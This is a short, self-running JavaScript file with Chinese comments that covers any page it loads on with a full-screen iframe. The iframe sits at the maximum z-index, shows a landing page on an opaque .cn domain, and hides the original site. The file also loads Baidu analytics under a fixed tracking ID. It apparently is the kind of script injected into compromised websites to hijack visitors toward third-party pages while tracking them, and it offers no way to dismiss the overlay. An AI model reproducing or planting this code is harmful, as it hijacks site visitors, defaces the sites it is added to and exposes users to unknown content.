(function () {
    'use strict';

    var landingUrls = [
        'https://915v9l.cn'
    ];

    var baiduTongjiId = '46b6035d616a57f9d98db4cb052884ef';

    // 异步加载百度统计
    function loadBaiduTongji() {
        window._hmt = window._hmt || [];

        var script = document.createElement('script');
        script.async = true;
        script.src = 'https://hm.baidu.com/hm.js?' + baiduTongjiId;

        (document.head || document.documentElement).appendChild(script);
    }

    // 创建全屏落地页
    function showLandingPage() {
        if (document.getElementById('landing-overlay')) return;

        var url = landingUrls[
            Math.floor(Math.random() * landingUrls.length)
        ];

        var style = document.createElement('style');
        style.textContent = `
            html, body {
                margin: 0 !important;
                padding: 0 !important;
                width: 100%;
                height: 100%;
                overflow: hidden;
            }

            #landing-overlay {
                position: fixed;
                inset: 0;
                width: 100%;
                height: 100%;
                z-index: 2147483647;
                background: #fff;
            }

            #landing-frame {
                display: block;
                width: 100%;
                height: 100%;
                border: 0;
            }
        `;

        (document.head || document.documentElement)
            .appendChild(style);

        var overlay = document.createElement('div');
        overlay.id = 'landing-overlay';

        var iframe = document.createElement('iframe');
        iframe.id = 'landing-frame';
        iframe.src = url;
        iframe.title = '落地页';
        iframe.setAttribute('frameborder', '0');

        overlay.appendChild(iframe);

        function mount() {
            if (document.body) {
                document.body.appendChild(overlay);
            } else {
                requestAnimationFrame(mount);
            }
        }

        mount();
    }

    // 先显示落地页，再启动统计
    showLandingPage();
    loadBaiduTongji();

})();